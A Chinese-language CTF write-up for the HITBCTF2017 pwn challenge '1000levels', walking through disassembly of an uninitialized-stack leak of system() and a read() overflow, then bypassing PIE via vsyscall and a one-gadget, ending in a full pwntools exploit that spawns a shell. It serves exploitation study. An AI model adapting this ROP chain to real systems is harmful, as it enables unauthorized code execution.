6.1.16 pwn HITBCTF2017 1000levels

下载文件

题目复现

$ file 1000levels
1000levels: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d0381dfa29216ed7d765936155bbaa3f9501283a, not stripped
$ checksec -f 1000levels
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   No      0               6       1000levels
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.

关闭了 Canary,开启 NX 和 PIE。于是猜测可能是栈溢出,但需要绕过 ASLR。not stripped 可以说是很开心了。

玩一下:

$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
Great job! You finished 1 levels in 1 seconds

Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels,然后让你做算术。

但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels:

$ ./1000levels
Welcome to 1000levels, it's much more diffcult than before.
1. Go
2. Hint
3. Give up
Choice:
2
NO PWN NO FUN
1. Go
2. Hint
3. Give up
Choice:
1
How many levels?
0
Coward
Any more?
1
More levels than before!
Let's go!'
====================================================
Level 1
Question: 0 * 0 = ? Answer:0
====================================================
Level 2
Question: 1 * 1 = ? Answer:1
====================================================
Level 3
Question: 1 * 1 = ? Answer:1
====================================================
Level 4
Question: 3 * 1 = ? Answer:

所以应该重点关注一下 Hint 功能。

题目解析

程序比较简单,基本上只有 Go 和 Hint 两个功能。

hint

先来看 hint:

[0x000009d0]> pdf @ sym.hint
/ (fcn) sym.hint 140
|   sym.hint ();
|           ; var int local_110h @ rbp-0x110
|           ; CALL XREF from 0x00000fa6 (main)
|           0x00000cf0      push rbp
|           0x00000cf1      mov rbp, rsp
|           0x00000cf4      sub rsp, 0x110                              ; 开辟栈空间 rsp - 0x110
|           0x00000cfb      mov rax, qword [reloc.system]              ; [0x201fd0:8]=0
|           0x00000d02      mov qword [local_110h], rax                 ; 将 system 地址放到栈顶 [local_110h]
|           0x00000d09      lea rax, obj.show_hint                     ; 0x20208c
|           0x00000d10      mov eax, dword [rax]                        ; 取出 show_hint
|           0x00000d12      test eax, eax
|       ,=< 0x00000d14      je 0xd41                                    ; 当 show_hint 为 0 时
|       |   0x00000d16      mov rax, qword [local_110h]                 ; 否则继续
|       |   0x00000d1d      lea rdx, [local_110h]
|       |   0x00000d24      lea rcx, [rdx + 8]
|       |   0x00000d28      mov rdx, rax
|       |   0x00000d2b      lea rsi, str.Hint:__p                      ; 0x111d ; "Hint: %p\n"
|       |   0x00000d32      mov rdi, rcx
|       |   0x00000d35      mov eax, 0
|       |   0x00000d3a      call sym.imp.sprintf                       ; 将 system 地址复制到 [local_110h+0x8]
|      ,==< 0x00000d3f      jmp 0xd66
|      ||   ; JMP XREF from 0x00000d14 (sym.hint)
|      |`-> 0x00000d41      lea rax, [local_110h]
|      |    0x00000d48      add rax, 8                                  ; 将 "NO PWN NO FUN" 复制到 [local_110h+0x8]
|      |    0x00000d4c      movabs rsi, 0x4e204e5750204f4e
|      |    0x00000d56      mov qword [rax], rsi
|      |    0x00000d59      mov dword [rax + 8], 0x5546204f            ; [0x5546204f:4]=-1
|      |    0x00000d60      mov word [rax + 0xc], 0x4e                 ; 'N' ; [0x4e:2]=0
|      |    ; JMP XREF from 0x00000d3f (sym.hint)
|      `--> 0x00000d66      lea rax, [local_110h]
|           0x00000d6d      add rax, 8
|           0x00000d71      mov rdi, rax
|           0x00000d74      call sym.imp.puts                          ; 打印出 [local_110h+0x8]
|           0x00000d79      nop
|           0x00000d7a      leave
\           0x00000d7b      ret
[0x000009d0]> ir~system
vaddr=0x00201fd0 paddr=0x00001fd0 type=SET_64 system
[0x000009d0]> is~show_hint
051 0x0000208c 0x0020208c GLOBAL OBJECT    4 show_hint

可以看到 system() 的地址被复制到栈上(local_110h),然后对全局变量 show_hint 进行判断,如果为 0,打印字符串 “NO PWN NO FUN”,否则打印 system() 的地址。

为了绕过 ASLR,我们需要信息泄漏,如果能够修改 show_hint,那我们就可以得到 system() 的地址。但是 show_hint 放在 .bss 段上,程序开启了 PIE,地址随机无法修改。

go

继续看 go:

[0x000009d0]> pdf @ sym.go
/ (fcn) sym.go 372
|   sym.go ();
|           ; var int local_120h @ rbp-0x120
|           ; var int local_118h @ rbp-0x118
|           ; var int local_114h @ rbp-0x114
|           ; var int local_110h @ rbp-0x110
|           ; var int local_108h @ rbp-0x108
|           ; CALL XREF from 0x00000f9f (main)
|           0x00000b7c      push rbp
|           0x00000b7d      mov rbp, rsp
|           0x00000b80      sub rsp, 0x120                              ; 开辟栈空间 rsp - 0x120
|           0x00000b87      lea rdi, str.How_many_levels               ; 0x1094 ; "How many levels?"
|           0x00000b8e      call sym.imp.puts                          ; int puts(const char *s)
|           0x00000b93      call sym.read_num                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00000b98      mov qword [local_120h], rax                 ; 读入第一个数 num1 放到 [local_120h]
|           0x00000b9f      mov rax, qword [local_120h]
|           0x00000ba6      test rax, rax
|       ,=< 0x00000ba9      jg 0xbb9                                    ; num1 大于 0 时跳转
|       |   0x00000bab      lea rdi, str.Coward                        ; 0x10a5 ; "Coward"
|       |   0x00000bb2      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000bb7      jmp 0xbc7
|      ||   ; JMP XREF from 0x00000ba9 (sym.go)
|      |`-> 0x00000bb9      mov rax, qword [local_120h]
|      |    0x00000bc0      mov qword [local_110h], rax                 ; num1 放到 [local_110h]
|      |    ; JMP XREF from 0x00000bb7 (sym.go)
|      `--> 0x00000bc7      lea rdi, str.Any_more                      ; 0x10ac ; "Any more?"
|           0x00000bce      call sym.imp.puts                          ; int puts(const char *s)
|           0x00000bd3      call sym.read_num                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00000bd8      mov qword [local_120h], rax                 ; 读入第二个数 num2 到 [local_120h]
|           0x00000bdf      mov rdx, qword [local_110h]
|           0x00000be6      mov rax, qword [local_120h]
|           0x00000bed      add rax, rdx                               ; 两个数的和 num3 = num1 + num2
|           0x00000bf0      mov qword [local_110h], rax
|           0x00000bf7      mov rax, qword [local_110h]
|           0x00000bfe      test rax, rax
|       ,=< 0x00000c01      jg 0xc14                                    ; num3 大于 0 时跳转
|       |   0x00000c03      lea rdi, str.Coward                        ; 0x10a5 ; "Coward"
|       |   0x00000c0a      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x00000c0f      jmp 0xcee
|      |`-> 0x00000c14      mov rax, qword [local_110h]
|      |    0x00000c1b      cmp rax, 0x3e7                              ; num3 与 999 比较
|      |,=< 0x00000c21      jle 0xc3c                                   ; num3 小于等于 999 时
|      ||   0x00000c23      lea rdi, str.More_levels_than_before       ; 0x10b6 ; "More levels than before!"
|      ||   0x00000c2a      call sym.imp.puts                          ; int puts(const char *s)
|      ||   0x00000c2f      mov qword [local_108h], 0x3e8               ; 将 num3 设为最大值 1000
|     ,===< 0x00000c3a      jmp 0xc4a
|     |||   ; JMP XREF from 0x00000c21 (sym.go)
|     ||`-> 0x00000c3c      mov rax, qword [local_110h]
|     ||    0x00000c43      mov qword [local_108h], rax                 ; 把 num3 放到 [local_108h]
|     ||    ; JMP XREF from 0x00000c3a (sym.go)
|     `---> 0x00000c4a      lea rdi, str.Let_s_go                      ; 0x10cf ; "Let's go!'"
|      |    0x00000c51      call sym.imp.puts                          ; int puts(const char *s)
|      |    0x00000c56      mov edi, 0
|      |    0x00000c5b      call sym.imp.time                          ; time_t time(time_t *timer)
|      |    0x00000c60      mov dword [local_118h], eax
|      |    0x00000c66      mov rax, qword [local_108h]
|      |    0x00000c6d      mov edi, eax                                ; rdi = num3
|      |    0x00000c6f      call sym.level_int                          ; 进入计算题游戏
|      |    0x00000c74      test eax, eax
|      |    0x00000c76      setne al
|      |    0x00000c79      test al, al
|      |,=< 0x00000c7b      je 0xcd8                                    ; 返回值为 0 时跳转,游戏失败
|      ||   0x00000c7d      mov edi, 0                                  ; 否则游戏成功
|      ||   0x00000c82      call sym.imp.time                          ; time_t time(time_t *timer)
|      ||   0x00000c87      mov dword [local_114h], eax
|      ||   0x00000c8d      mov edx, dword [local_114h]
|      ||   0x00000c93      mov eax, dword [local_118h]
|      ||   0x00000c99      sub edx, eax
|      ||   0x00000c9b      mov rax, qword [local_108h]
|      ||   0x00000ca2      lea rcx, [local_120h]
|      ||   0x00000ca9      lea rdi, [rcx + 0x20]                      ; "@"
|      ||   0x00000cad      mov ecx, edx
|      ||   0x00000caf      mov rdx, rax
|      ||   0x00000cb2      lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n"
|      ||   0x00000cb9      mov eax, 0
|      ||   0x00000cbe      call sym.imp.sprintf                       ; int sprintf(char *s,
|      ||   0x00000cc3      lea rax, [local_120h]
|      ||   0x00000cca      add rax, 0x20
|      ||   0x00000cce      mov rdi, rax
|      ||   0x00000cd1      call sym.imp.puts                          ; int puts(const char *s)
|     ,===< 0x00000cd6      jmp 0xce4
|     |||   ; JMP XREF from 0x00000c7b (sym.go)
|     ||`-> 0x00000cd8      lea rdi, str.You_failed.                   ; 0x1111 ; "You failed."
|     ||    0x00000cdf      call sym.imp.puts                          ; int puts(const char *s)
|     ||    ; JMP XREF from 0x00000cd6 (sym.go)
|     `---> 0x00000ce4      mov edi, 0
|      |    0x00000ce9      call sym.imp.exit                          ; void exit(int status)
|      |    ; JMP XREF from 0x00000c0f (sym.go)
|      `--> 0x00000cee      leave
\           0x00000cef      ret

可以看到第一个数 num1 被读到 local_120h,如果大于 0,num1 被复制到 local_110h,然后读取第二个数 num2 到 local_120h,将两个数相加再存到 local_110h。但是如果 num1 小于等于 0,程序会直接执行读取 num2 到 local_120h 的操作,然后读取 local_110h 的数值作为 num1,将两数相加。整个过程都没有对 local_110h 进行初始化,程序似乎默认了 local_110h 的值是 0,然而事实并非如此。回想一下 hint 操作,放置 system 的地址正是 local_110h(两个函数的rbp相同)。这是一个内存未初始化造成的漏洞。

接下来,根据两数相加的和,程序有三条路径,如果和小于 0,程序返回到开始菜单;如果和大于 0 且小于 1000,进入游戏;如果和大于 1000,则将其设置为最大值 1000,进入游戏。

然后来看游戏函数 sym.level_int()

[0x000009d0]> pdf @ sym.level_int
/ (fcn) sym.level_int 289
|   sym.level_int ();
|           ; var int local_34h @ rbp-0x34
|           ; var int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|           ; var int local_10h @ rbp-0x10
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; var int local_4h @ rbp-0x4
|           ; CALL XREF from 0x00000c6f (sym.go)
|           ; CALL XREF from 0x00000e70 (sym.level_int)
|           0x00000e2d      push rbp
|           0x00000e2e      mov rbp, rsp
|           0x00000e31      sub rsp, 0x40                              ; '@'
|           0x00000e35      mov dword [local_34h], edi                  ; 将 level 存到 [local_34h]
|           0x00000e38      mov qword [local_30h], 0
|           0x00000e40      mov qword [local_28h], 0
|           0x00000e48      mov qword [local_20h], 0
|           0x00000e50      mov qword [local_18h], 0
|           0x00000e58      cmp dword [local_34h], 0
|       ,=< 0x00000e5c      jne 0xe68                                   ; level 不等于 0 时继续
|       |   0x00000e5e      mov eax, 1
|      ,==< 0x00000e63      jmp 0xf4c                                   ; 否则函数返回 1
|      ||   ; JMP XREF from 0x00000e5c (sym.level_int)
|      |`-> 0x00000e68      mov eax, dword [local_34h]
|      |    0x00000e6b      sub eax, 1                                  ; level = level - 1
|      |    0x00000e6e      mov edi, eax
|      |    0x00000e70      call sym.level_int                          ; 递归调用游戏函数
|      |    0x00000e75      test eax, eax
|      |    0x00000e77      sete al
|      |    0x00000e7a      test al, al
|      |,=< 0x00000e7c      je 0xe88                                    ; 返回值为 1 时继续
|      ||   0x00000e7e      mov eax, 0
|     ,===< 0x00000e83      jmp 0xf4c                                   ; 否则函数结束返回 0
|     |||   ; JMP XREF from 0x00000e7c (sym.level_int)
|     ||`-> 0x00000e88      call sym.imp.rand                          ; int rand(void)
|     ||    0x00000e8d      cdq
|     ||    0x00000e8e      idiv dword [local_34h]
|     ||    0x00000e91      mov dword [local_8h], edx
|     ||    0x00000e94      call sym.imp.rand                          ; int rand(void)
|     ||    0x00000e99      cdq
|     ||    0x00000e9a      idiv dword [local_34h]
|     ||    0x00000e9d      mov dword [local_ch], edx
|     ||    0x00000ea0      mov eax, dword [local_8h]
|     ||    0x00000ea3      imul eax, dword [local_ch]
|     ||    0x00000ea7      mov dword [local_10h], eax                  ; 将正确答案放到 [local_10h]
|     ||    0x00000eaa      lea rdi, str.                              ; 0x1160 ; "===================================================="
|     ||    0x00000eb1      call sym.imp.puts                          ; int puts(const char *s)
|     ||    0x00000eb6      mov eax, dword [local_34h]
|     ||    0x00000eb9      mov esi, eax
|     ||    0x00000ebb      lea rdi, str.Level__d                      ; 0x1195 ; "Level %d\n"
|     ||    0x00000ec2      mov eax, 0
|     ||    0x00000ec7      call sym.imp.printf                        ; int printf(const char *format)
|     ||    0x00000ecc      mov edx, dword [local_ch]
|     ||    0x00000ecf      mov eax, dword [local_8h]
|     ||    0x00000ed2      mov esi, eax
|     ||    0x00000ed4      lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:"
|     ||    0x00000edb      mov eax, 0
|     ||    0x00000ee0      call sym.imp.printf                        ; int printf(const char *format)
|     ||    0x00000ee5      lea rax, [local_30h]                        ; 读取输入到 [local_30h]
|     ||    0x00000ee9      mov edx, 0x400
|     ||    0x00000eee      mov rsi, rax
|     ||    0x00000ef1      mov edi, 0
|     ||    0x00000ef6      call sym.imp.read                          ; read(0, local_30h, 0x400)
|     ||    0x00000efb      mov dword [local_4h], eax                   ; 返回值放到 [local_4h],即读取字节数
|     ||    ; JMP XREF from 0x00000f16 (sym.level_int)
|     ||.-> 0x00000efe      mov eax, dword [local_4h]
|     ||:   0x00000f01      and eax, 7                                  ; 取出低 3 位
|     ||:   0x00000f04      test eax, eax
|    ,====< 0x00000f06      je 0xf18                                    ; 为 0 时跳转,即 8 的倍数
|    |||:   0x00000f08      mov eax, dword [local_4h]
|    |||:   0x00000f0b      cdqe
|    |||:   0x00000f0d      mov byte [rbp + rax - 0x30], 0              ; 在字符串末尾加上 0
|    |||:   0x00000f12      add dword [local_4h], 1
|    |||`=< 0x00000f16      jmp 0xefe                                   ; 循环
|    |||    ; JMP XREF from 0x00000f06 (sym.level_int)
|    `----> 0x00000f18      lea rax, [local_30h]
|     ||    0x00000f1c      mov edx, 0xa
|     ||    0x00000f21      mov esi, 0
|     ||    0x00000f26      mov rdi, rax
|     ||    0x00000f29      call sym.imp.strtol                        ; long strtol(const char *str, char**endptr, int base)
|     ||    0x00000f2e      mov rdx, rax
|     ||    0x00000f31      mov eax, dword [local_10h]
|     ||    0x00000f34      cdqe
|     ||    0x00000f36      cmp rdx, rax                                ; 将输入答案与正确答案相比较
|     ||    0x00000f39      sete al                                     ; 相等时设置 al 为 1
|     ||    0x00000f3c      test al, al
|     ||,=< 0x00000f3e      je 0xf47                                    ; 返回值为 0
|     |||   0x00000f40      mov eax, 1
|    ,====< 0x00000f45      jmp 0xf4c                                   ; 返回值为 1
|    ||||   ; JMP XREF from 0x00000f3e (sym.level_int)
|    |||`-> 0x00000f47      mov eax, 0
|    |||    ; JMP XREF from 0x00000f45 (sym.level_int)
|    |||    ; JMP XREF from 0x00000e83 (sym.level_int)
|    |||    ; JMP XREF from 0x00000e63 (sym.level_int)
|    ```--> 0x00000f4c      leave
\           0x00000f4d      ret

可以看到 read() 函数有一个很明显的栈溢出漏洞,local_30h 并没有 0x400 这么大的空间。由于游戏是递归的,所以我们需要答对前 999 道题,在最后一题时溢出,构造 ROP。

漏洞利用

总结一下,程序存在两个漏洞:

  • hint 函数将 system 放到栈上,而 go 函数在使用该地址时未进行初始化

  • level 函数存在栈溢出

关于利用的问题也有两个:

  • 虽然 system 被放到了栈上,但我们不能设置其参数

  • 程序开启了 PIE,但没有可以进行信息泄漏的漏洞

对于第一个问题,我们有不需要参数的 one-gadget 可以用,通过将输入的第二个数设置为偏移,即可通过程序的计算将 system 修改为 one-gadget。

$ one_gadget libc-2.23.so
0x45216	execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0274	execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1117	execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

这里我们选择 0x4526a 地址上的 one-gadget。

第二个问题,在随机化的情况下怎么找到可用的 ret gadget?这时候可以利用 vsyscall,这是一个固定的地址。(参考章节4.15)

gdb-peda$ vmmap vsyscall
Start              End                Perm	Name
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/5i 0xffffffffff600000
   0xffffffffff600000:	mov    rax,0x60
   0xffffffffff600007:	syscall
   0xffffffffff600009:	ret
   0xffffffffff60000a:	int3
   0xffffffffff60000b:	int3

但我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。

最后一次的 payload 和调试结果如下:

gdb-peda$ x/11gx 0x7fffffffec10-0x50
0x7fffffffebc0:	0x4141414141414141	0x4141414141414141  <-- rbp -0x30
0x7fffffffebd0:	0x4141414141414141	0x4141414141414141
0x7fffffffebe0:	0x4141414141414141	0x4141414141414141
0x7fffffffebf0:	0x4242424242424242	0xffffffffff600000  <-- rbp <-- ret
0x7fffffffec00:	0xffffffffff600000	0xffffffffff600000  <-- ret <-- ret
0x7fffffffec10:	0x00007ffff7a5226a                      <-- one-gadget
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0xa ('\n')
RDX: 0x0
RSI: 0x0
RDI: 0x7fffffffebc0 ('A' <repeats 44 times>, "P")
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov    rax,0x60)
RIP: 0x555555554f4d (<_Z5leveli+288>:	ret)
R8 : 0x0
R9 : 0x1999999999999999
R10: 0x0
R11: 0x7ffff7b845a0 --> 0x2000200020002
R12: 0x5555555549d0 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffee40 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555554f45 <_Z5leveli+280>:	jmp    0x555555554f4c <_Z5leveli+287>
   0x555555554f47 <_Z5leveli+282>:	mov    eax,0x0
   0x555555554f4c <_Z5leveli+287>:	leave  
=> 0x555555554f4d <_Z5leveli+288>:	ret
   0x555555554f4e <main>:	push   rbp
   0x555555554f4f <main+1>:	mov    rbp,rsp
   0x555555554f52 <main+4>:	sub    rsp,0x30
   0x555555554f56 <main+8>:	mov    QWORD PTR [rbp-0x30],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffebf8 --> 0xffffffffff600000 (mov    rax,0x60)
0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov    rax,0x60)
0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov    rax,0x60)
0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8)
0032| 0x7fffffffec18 --> 0x3e8
0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN')
0048| 0x7fffffffec28 --> 0xff0000
0056| 0x7fffffffec30 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000555555554f4d in level(int) ()

三次 return 之后,就会跳到 one-gadget 上去。

Bingo!!!

$ python exp.py
[+] Starting local process './1000levels': pid 6901
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'
io = process(['./1000levels'], env={'LD_PRELOAD':'./libc-2.23.so'})

one_gadget = 0x4526a
system_offset = 0x45390
ret_addr = 0xffffffffff600000

def go(levels, more):
    io.sendlineafter("Choice:\n", '1')
    io.sendlineafter("levels?\n", str(levels))
    io.sendlineafter("more?\n", str(more))

def hint():
    io.sendlineafter("Choice:\n", '2')

if __name__ == "__main__":
    hint()
    go(0, one_gadget - system_offset)

    for i in range(999):
        io.recvuntil("Question: ")
        a = int(io.recvuntil(" ")[:-1])
        io.recvuntil("* ")
        b = int(io.recvuntil(" ")[:-1])
        io.sendlineafter("Answer:", str(a * b))

    payload  = 'A' * 0x30   # buffer
    payload += 'B' * 0x8    # rbp
    payload += p64(ret_addr) * 3
    io.sendafter("Answer:", payload)

    io.interactive()

参考资料

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